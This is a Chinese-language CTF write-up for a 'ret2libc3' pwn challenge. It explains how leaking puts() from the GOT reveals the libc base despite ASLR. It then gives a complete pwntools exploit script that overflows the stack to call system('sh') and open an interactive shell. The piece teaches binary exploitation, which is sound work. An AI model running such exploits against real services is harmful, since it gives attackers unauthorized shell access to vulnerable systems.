这里可以看到,我们可以获得puts()的真实地址,而且题目给出了我们一个libc文件,这里就要涉及一个概念了

puts()和system()之间的地址距离是不发生变化的,是libc下的可执行文件这一个整体全放入虚拟内存中

所以如果我们知道puts()的真实地址和在libc中的地址的话,就可以通过system()在libc中的地址推知system()的真实地址了

(这也就算是地址泄露的入门)

先运行一下程序,测试一下

这里我们不能直接输入地址,是因为strtol()函数,我们需要输入字符串

可以得到puts()的真实地址(不能直接利用plt中的puts(),是因为开启了ASLR,本地与远程的地址是有偏差的)

先构造system

(这一道题题目给出的libc打不通本地,我用的我本地的libc)

from pwn import *

io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter(b' :',str(elf.got['puts']))
io.recvuntil(b" : ")
LibcBase=int(io.recvuntil(b'\n',drop=True),16) - libc.symbols['puts']
system_addr=LibcBase + libc.symbols['system']


对于后门参数,可以借助elf.search进行搜索有sh的字符串,之后利用00截断

从而获得后门参数'sh'

exp:

from pwn import *

elf=ELF("./ret2libc3")
libc=ELF("/usr/lib/i386-linux-gnu/libc.so.6")
io = process("./ret2libc3")
#io = remote("ip",port)
io.sendlineafter(b" :", str(elf.got["puts"]))
io.recvuntil(b" : ")
LibcBase=int(io.recvuntil(b'\n',drop=True), 16)-libc.symbols["puts"]
system_addr=LibcBase+libc.symbols["system"]
payload=flat([cyclic(60),system_addr,cyclic(4),next(elf.search(b"sh\00"))])
#payload=flat([cyclic(60),system_addr,pop_ebx_ret,next(elf.search(b'sh\00'))])

io.sendlineafter(b' :',payload)
io.interactive()

手把手教你栈溢出从入门到放弃(上) - 知乎 (zhihu.com)

手把手教你栈溢出从入门到放弃(下) - 知乎 (zhihu.com)


文章来源: https://xz.aliyun.com/t/12645
如有侵权请联系:admin#unsafe.sh